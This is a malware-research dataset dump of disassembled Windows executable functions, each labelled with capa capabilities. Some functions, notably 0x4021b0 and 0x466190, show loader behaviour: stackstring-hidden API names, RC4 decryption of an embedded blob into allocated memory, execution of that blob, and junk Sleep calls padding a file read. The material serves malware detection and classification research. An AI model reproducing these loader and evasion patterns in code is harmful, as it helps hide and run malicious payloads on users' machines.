joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4030ac
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x4030d0
cmp dword [edi + 0x54], 0
jne 0x4030d0
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.004113d4
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0040306d
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x40a11c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40a163
call fcn.004113d4
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40a163
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40a17f
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00409c96
mov esi, eax
test edi, edi
je 0x40a17d
test ebx, ebx
je 0x40a17d
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40b4ac
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x462d0e
call fcn.00437755
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x40b4d1
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x40b517
lea ecx, [ebp - 0x10]
call fcn.00402280
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040a95a
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401b80
mov eax, esi
call fcn.0043782d
ret 8

Function at 0x41cabf
Capabilities:
Query or enumerate registry value

Disassembly:
push 0
mov eax, 0x464024
call fcn.00437755
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.00409ac0
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x41cb21
call fcn.004107fd
cmp eax, 1
jne 0x41cb21
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.0040dbab
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0040db04
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401b80
mov dword [ebp + 8], SysReAllocStringLen
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401b80
mov eax, esi
call fcn.0043782d
ret 0x10
Function at 0x41cb4a
Capabilities:
Set registry value

Disassembly:
push 0
mov eax, 0x46404f
call fcn.00437755
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.00409ac0
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x41cbac
call fcn.004107fd
cmp eax, 1
jne 0x41cbac
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.0040dbab
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0040db04
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401b80
mov dword [ebp + 8], SysReAllocStringLen
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401b80
mov eax, esi
call fcn.0043782d
ret 0x14

Function at 0x41cbd8
Capabilities:
Delete registry key

Disassembly:
push 0
mov eax, 0x46407a
call fcn.00437755
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.00409ac0
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x41cc3a
call fcn.004107fd
cmp eax, 1
jne 0x41cc3a
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.0040dbab
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.0040db04
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00401b80
mov dword [ebp + 8], SysReAllocStringLen
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401b80
mov eax, esi
call fcn.0043782d
ret 8

Function at 0x436a97
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x47fc44]
jne 0x436aa1
repz ret
jmp fcn.0043f0b9
Function at 0x45204a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00440741
and dword [ebp - 4], 0
cmp dword [0x483a40], 0
mov ebx, eax
jne 0x4520fb
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4521ac
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x46fd80
push edi
call esi
test eax, eax
je 0x4521ac
push eax
call fcn.004406cf
mov dword [esp], 0x46fd70
push edi
mov dword [0x483a40], eax
call esi
push eax
call fcn.004406cf
mov dword [esp], 0x46fd5c
push edi
mov dword [0x483a44], eax
call esi
push eax
call fcn.004406cf
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x483a48], eax
call esi
push eax
call fcn.004406cf
pop ecx
mov dword [0x483a50], eax
test eax, eax
je 0x4520fb
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004406cf
pop ecx
mov dword [0x483a4c], eax
mov eax, dword [0x483a4c]
cmp eax, ebx
je 0x452153
cmp dword [0x483a50], ebx
je 0x452153
push eax
call fcn.0044074a
push dword [0x483a50]
mov esi, eax
call fcn.0044074a
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x452153
test edi, edi
je 0x452153
call esi
test eax, eax
je 0x45214a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x45214a
test byte [ebp - 0xc], 1
jne 0x452153
or dword [ebp + 0x10], 0x200000
jmp 0x45218c
mov eax, dword [0x483a44]
cmp eax, ebx
je 0x45218c
push eax
call fcn.0044074a
pop ecx
test eax, eax
je 0x45218c
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x45218c
mov eax, dword [0x483a48]
cmp eax, ebx
je 0x45218c
push eax
call fcn.0044074a
pop ecx
test eax, eax
je 0x45218c
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x483a40]
call fcn.0044074a
pop ecx
test eax, eax
je 0x4521ac
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4521ae
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x466190
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0x78
mov eax, dword [0x47fc44]
xor eax, esp
mov dword [esp + 0x74], eax
mov eax, dword [esp + 0x7c]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov dword [esp + 0x14], eax
mov ecx, dword [esp + 0x14]
push 0
push 0x80
push 3
push 0
push 0
push SysReAllocStringLen
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
test edi, edi
je 0x4661b0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
mov ebp, eax
push ebp
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
mov ebx, eax
call esi
nop
push 0
call esi
nop
nop
push 0
call esi
nop
push 0
call esi
push 0
call esi
push 0
lea edx, [esp + 0x14]
push edx
push ebp
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
call esi
nop
push 0
call esi
push 0
call esi
push 0
call esi
nop
nop
push 0
call esi
push 0
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
push ebx
call fcn.00466030
push ebx
call fcn.00401810
mov edi, eax
add esp, 0xc
test edi, edi
je 0x4661b0
push 0x63
lea eax, [esp + 0x25]
push 0
push eax
mov byte [esp + 0x2c], 0
call fcn.00436ab0
add esp, 0xc
push 0
call esi
nop
nop
nop
nop
nop
push 0
call esi
push 0
call esi
nop
push 0
call esi
push 0
call esi
push 0
mov byte [esp + 0x1c], 0x75
mov byte [esp + 0x1d], 0x70
mov byte [esp + 0x1e], 0x64
mov byte [esp + 0x1f], 0x61
mov byte [esp + 0x20], 0x74
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0
call esi
nop
nop
push 0
call esi
push 0
call esi
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
nop
push 0
call esi
nop
push 0
call esi
nop
push 0
call esi
nop
nop
lea eax, [esp + 0x20]
push eax
push edi
call fcn.00401620
add esp, 8
test eax, eax
je 0x4661b0
push str.sbGuvbGxpr2utbW9rrGynw
call eax
push edi
call fcn.004016d0
mov ecx, dword [esp + 0x8c]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00436a97
add esp, 0x78
ret
Function at 0x466710
Capabilities:
Get file size
Read file on windows

Disassembly:
push ecx
push ebp
mov ebp, dword [esp + 0xc]
push edi
push 0
push ebp
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
test edi, edi
jne 0x466732
pop edi
pop ebp
pop ecx
ret
push ebx
push esi
push edi
call fcn.0040259c
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0
mov ebx, eax
call esi
nop
push 0
call esi
push 0
call esi
nop
push 0
call esi
push 0
call esi
push 0
call esi
nop
push 0
call esi
push 0
call esi
nop
push 0
lea eax, [esp + 0x14]
push eax
push edi
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
push ebx
call fcn.00466030
mov ecx, dword [esp + 0x24]
push 0
push edi
push ecx
push ebx
call fcn.004660d0
mov edi, eax
add esp, 0x18
cmp edi, 0xffffffff
je 0x4667f0
push 0x32
push 0
push 0x481040
call fcn.00436ab0
add esp, 0xc
push 0
call esi
nop
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
push 0
call esi
nop
push 0
call esi
lea esi, [edi + ebx]
mov ecx, 0xc
mov edi, 0x481040
rep movsd dword es:[edi], dword [esi]
push ebx
movsw word es:[edi], word [esi]
call fcn.004025a7
add esp, 4
pop esi
pop ebx
pop edi
mov eax, 0x481040
pop ebp
pop ecx
ret
push 0
call esi
nop
nop
push 0
call esi
push 0
call esi
nop
nop
push 0
call esi
nop
push 0
call esi
push 0
call esi
nop
push ebx
call fcn.004025a7
add esp, 4
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
pop ecx
ret
Function at 0x4012d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4012e9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x4012fd
pop esi
pop edi
xor eax, eax
pop ebx
ret
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x40131e
cmp esi, eax
jae 0x4012f7
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401310
cmp esi, eax
jae 0x4012f7
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x401630
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, 0xdc20
call fcn.00405450
mov eax, dword [0x42a2b0]
mov dword [esp + 0xdc1c], eax
mov eax, dword [esp + 0xdc30]
test eax, eax
jbe 0x40175d
xor eax, eax
jmp 0x401660
mov byte [esp + eax + 0x3f8], al
inc eax
cmp eax, 0xd821
jb 0x401660
push ebx
push ebp
mov ebp, dword [esp + 0xdc2c]
push esi
push edi
mov edi, dword [esp + 0xdc38]
xor esi, esi
xor ecx, ecx
xor edx, edx
mov eax, ecx
div edi
mov bl, byte [esp + ecx + 0x408]
movzx eax, bl
movzx edx, byte [edx + ebp]
add edx, esi
add eax, edx
xor edx, edx
mov esi, 0xd821
div esi
inc ecx
cmp ecx, 0xd821
mov esi, edx
mov al, byte [esp + esi + 0x408]
mov byte [esp + ecx + 0x407], al
mov byte [esp + esi + 0x408], bl
jb 0x401685
mov ecx, dword [esp + 0xdc40]
mov ebp, dword [esp + 0xdc3c]
xor edi, edi
xor esi, esi
mov dword [esp + 0x10], ecx
lea esp, [esp]
xor edx, edx
mov ecx, 0xd821
lea eax, [esi + 1]
div ecx
push 0
mov esi, edx
mov cl, byte [esp + esi + 0x40c]
movzx eax, cl
add eax, edi
xor edx, edx
mov edi, 0xd821
div edi
mov edi, edx
mov dl, byte [esp + edi + 0x40c]
mov byte [esp + esi + 0x40c], dl
mov byte [esp + edi + 0x40c], cl
movzx eax, byte [esp + esi + 0x40c]
movzx ecx, cl
add eax, ecx
cdq
mov ecx, 0xd821
idiv ecx
mov al, byte [ebp]
lea ecx, [esp + 0x18]
mov bl, byte [esp + edx + 0x40c]
xor bl, al
call fcn.00401530
mov byte [ebp], bl
lea ecx, [esp + 0x14]
inc ebp
call fcn.00401040
dec dword [esp + 0x10]
jne 0x4016e0
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0xdc1c]
xor eax, eax
call fcn.0040543e
add esp, 0xdc20
ret
Function at 0x4021b0
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x419228
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x50
mov eax, dword [0x42a2b0]
push ebx
push esi
push edi
push 8
xor ebx, ebx
push str.CZ5gi3jH
lea ecx, [esp + 0x44]
mov dword [esp + 0x60], eax
mov dword [esp + 0x5c], 0xf
mov dword [esp + 0x58], ebx
mov byte [esp + 0x48], bl
call fcn.00402050
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov al, 0x6c
push ebx
mov byte [esp + 0x32], al
mov byte [esp + 0x34], al
mov byte [esp + 0x35], al
mov byte [esp + 0x21], al
mov byte [esp + 0x26], al
mov byte [esp + 0x27], al
mov cl, 0x75
push ebx
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x70], ebx
mov byte [esp + 0x34], 0x56
mov byte [esp + 0x35], 0x69
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x74
mov byte [esp + 0x38], cl
mov byte [esp + 0x39], 0x61
mov byte [esp + 0x3b], 0x41
mov byte [esp + 0x3e], 0x6f
mov byte [esp + 0x3f], 0x63
mov byte [esp + 0x40], 0x45
mov byte [esp + 0x41], 0x78
mov byte [esp + 0x42], 0x4e
mov byte [esp + 0x43], cl
mov byte [esp + 0x44], 0x6d
mov byte [esp + 0x45], 0x61
mov byte [esp + 0x46], bl
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x25], 0x65
mov byte [esp + 0x26], 0x72
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x28], 0x65
mov byte [esp + 0x2a], 0x33
mov byte [esp + 0x2b], 0x32
mov byte [esp + 0x2c], 0x2e
mov byte [esp + 0x2d], 0x64
mov byte [esp + 0x30], bl
call esi
lea ecx, [esp + 0x28]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push ebx
lea edx, [esp + 0x14]
push edx
mov edi, eax
mov byte [esp + 0x18], 0x74
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x73
mov byte [esp + 0x1b], 0x6b
mov byte [esp + 0x1c], 0x6d
mov byte [esp + 0x1d], 0x67
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x65
mov byte [esp + 0x21], 0x78
mov byte [esp + 0x22], 0x65
mov byte [esp + 0x23], bl
call esi
test eax, eax
jne 0x402314
cmp dword [esp + 0x54], 0x10
jb 0x40230d
mov eax, dword [esp + 0x40]
push eax
call fcn.004111d2
add esp, 4
xor al, al
jmp 0x402395
push ebp
push ebx
push 0x41a938
call fcn.0040554f
add esp, 4
push eax
push 0x3000
push 0x8944
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
mov ebp, eax
cmp ebp, ebx
jne 0x402356
cmp dword [esp + 0x58], 0x10
jb 0x402352
mov ecx, dword [esp + 0x44]
push ecx
call fcn.004111d2
add esp, 4
xor al, al
jmp 0x402394
mov edx, dword [esp + 0x74]
mov eax, dword [esp + 0x70]
push 0x8944
push ebp
push edx
mov ecx, 0x2251
mov esi, 0x4210a8
mov edi, ebp
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00401630
add esp, 0x10
call ebp
cmp dword [esp + 0x58], 0x10
jb 0x402392
mov ecx, dword [esp + 0x44]
push ecx
call fcn.004111d2
add esp, 4
mov al, 1
pop ebp
mov ecx, dword [esp + 0x5c]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x50]
pop ebx
call fcn.0040543e
add esp, 0x5c
ret
Function at 0x40567e
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.00405450
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x405719
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x42d1f8]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x405719
cmp eax, 1
je 0x40573a
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x405719
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x4056e6
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x405715
xor eax, eax
inc eax
jmp 0x405759
cmp edi, eax
jae 0x40571d
xor eax, eax
jmp 0x405759
cmp eax, esi
jae 0x405724
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x42d1f8]
jmp 0x40573d
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4058b6
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x41c490
call fcn.00406c20
mov edi, 0x94
mov eax, edi
call fcn.00405450
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x42d1f8], ecx
mov eax, dword [esi + 4]
mov dword [0x42d204], eax
mov edx, dword [esi + 8]
mov dword [0x42d208], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x42d1fc], esi
cmp ecx, 2
je 0x405916
or esi, 0x8000
mov dword [0x42d1fc], esi
shl eax, 8
add eax, edx
mov dword [0x42d200], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x405951
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x405951
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x405969
cmp eax, 0x20b
je 0x405956
mov dword [ebp - 0x1c], esi
jmp 0x40597d
cmp dword [ecx + 0x84], 0xe
jbe 0x405951
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x405977
cmp dword [ecx + 0x74], 0xe
jbe 0x405951
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.00408199
pop ecx
test eax, eax
jne 0x405991
push 0x1c
call fcn.00405892
pop ecx
call fcn.004079f2
test eax, eax
jne 0x4059a2
push 0x10
call fcn.00405892
pop ecx
call fcn.004098b7
mov dword [ebp - 4], esi
call fcn.004096b9
test eax, eax
jge 0x4059bb
push 0x1b
call fcn.0040586d
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x42eab0], eax
call fcn.00409597
mov dword [0x42d1e8], eax
call fcn.004094f5
test eax, eax
jge 0x4059e1
push 8
call fcn.0040586d
pop ecx
call fcn.004092c2
test eax, eax
jge 0x4059f2
push 9
call fcn.0040586d
pop ecx
push 1
call fcn.00405b91
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x405a08
push eax
call fcn.0040586d
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00409265
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x405a29
movzx eax, word [ebp - 0x40]
jmp 0x405a2c
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.0040f46a
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x405a4a
push edi
call fcn.00405cbe
call fcn.00405ce0
jmp 0x405a7c
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.00406c5b
ret
Function at 0x405bfb
Capabilities:
Terminate process

Disassembly:
push 8
push 0x41c4b8
call fcn.00406c20
push 8
call fcn.0040814e
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x42d238], esi
jne 0x405c2f
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x42d234], esi
mov al, byte [ebp + 0x10]
mov byte [0x42d230], al
cmp dword [ebp + 0xc], edi
jne 0x405c79
cmp dword [0x42eaa8], edi
je 0x405c69
mov eax, dword [0x42eaa4]
sub eax, 4
mov dword [0x42eaa4], eax
cmp eax, dword [0x42eaa8]
jb 0x405c69
mov eax, dword [eax]
cmp eax, edi
je 0x405c4a
call eax
jmp 0x405c4a
push 0x421084
mov eax, 0x42107c
call fcn.00405b79
pop ecx
push 0x421090
mov eax, 0x421088
call fcn.00405b79
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x405caa
cmp dword [ebp + 0x10], edi
jne 0x405cb8
mov dword [0x42d238], esi
push dword [ebp + 8]
call fcn.00405b37
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x405cb7
push 8
call fcn.00408099
pop ecx
ret
call fcn.00406c5b
ret
Function at 0x408d28
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 8]
test bl, 3
jne 0x408d56
mov eax, dword fs:[0x18]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
cmp ebx, ecx
mov dword [ebp - 4], ecx
jb 0x408d5d
cmp ebx, dword [eax + 4]
jae 0x408d5d
xor eax, eax
jmp 0x408f4d
push edi
mov edi, dword [esi + 0xc]
cmp edi, 0xffffffff
jne 0x408d6e
xor eax, eax
inc eax
jmp 0x408f4c
xor edx, edx
mov dword [ebp + 8], edx
mov eax, ebx
mov ecx, dword [eax]
cmp ecx, 0xffffffff
je 0x408d84
cmp ecx, edx
jae 0x408ec9
cmp dword [eax + 4], 0
je 0x408d8d
inc dword [ebp + 8]
inc edx
add eax, 0xc
cmp edx, edi
jbe 0x408d75
cmp dword [ebp + 8], 0
je 0x408daf
mov eax, dword [esi - 8]
cmp eax, dword [ebp - 4]
jb 0x408ec9
cmp eax, esi
jae 0x408ec9
mov eax, dword [0x42d3c8]
mov edi, ebx
and edi, 0xfffff000
xor esi, esi
test eax, eax
jle 0x408dd4
cmp dword [esi*4 + 0x42d3d0], edi
je 0x408ecd
inc esi
cmp esi, eax
jl 0x408dc2
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x408f49
cmp dword [ebp - 8], 0x1000000
jne 0x408f49
test byte [ebp - 0xc], 0xcc
je 0x408e52
mov ecx, dword [ebp - 0x1c]
cmp word [ecx], 0x5a4d
jne 0x408f49
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x408f49
cmp word [eax + 0x18], 0x10b
jne 0x408f49
sub ebx, ecx
cmp word [eax + 6], 0
movzx ecx, word [eax + 0x14]
lea ecx, [ecx + eax + 0x18]
jbe 0x408f49
mov eax, dword [ecx + 0xc]
cmp ebx, eax
jb 0x408e52
mov edx, dword [ecx + 8]
add edx, eax
cmp ebx, edx
jae 0x408e52
test byte [ecx + 0x27], 0x80
jne 0x408ec9
push 1
push 0x42d410
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
test eax, eax
jne 0x408d66
mov ecx, dword [0x42d3c8]
test ecx, ecx
mov edx, ecx
jle 0x408e86
lea eax, [ecx*4 + 0x42d3cc]
cmp dword [eax], edi
je 0x408e86
dec edx
sub eax, 4
test edx, edx
jg 0x408e7a
test edx, edx
jne 0x408eb7
push 0xf
pop ebx
cmp ecx, ebx
jg 0x408e93
mov ebx, ecx
xor edx, edx
test ebx, ebx
jl 0x408eab
lea eax, [edx*4 + 0x42d3d0]
mov esi, dword [eax]
inc edx
cmp edx, ebx
mov dword [eax], edi
mov edi, esi
jle 0x408e99
cmp ecx, 0x10
jge 0x408eb7
inc ecx
mov dword [0x42d3c8], ecx
push 0
push 0x42d410
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
jmp 0x408d66
xor eax, eax
jmp 0x408f4c
test esi, esi
jle 0x408d66
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push 0x42d410
call ebx
test eax, eax
jne 0x408d66
cmp dword [esi*4 + 0x42d3d0], edi
je 0x408f23
mov eax, dword [0x42d3c8]
lea esi, [eax - 1]
test esi, esi
jl 0x408f11
cmp dword [esi*4 + 0x42d3d0], edi
je 0x408f0d
dec esi
jns 0x408f01
test esi, esi
jge 0x408f21
cmp eax, 0x10
jge 0x408f1c
inc eax
mov dword [0x42d3c8], eax
lea esi, [eax - 1]
jmp 0x408f23
je 0x408f3b
xor ecx, ecx
test esi, esi
jl 0x408f3b
lea eax, [ecx*4 + 0x42d3d0]
mov edx, dword [eax]
inc ecx
cmp ecx, esi
mov dword [eax], edi
mov edi, edx
jle 0x408f29
push 0
push 0x42d410
call ebx
jmp 0x408d66
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret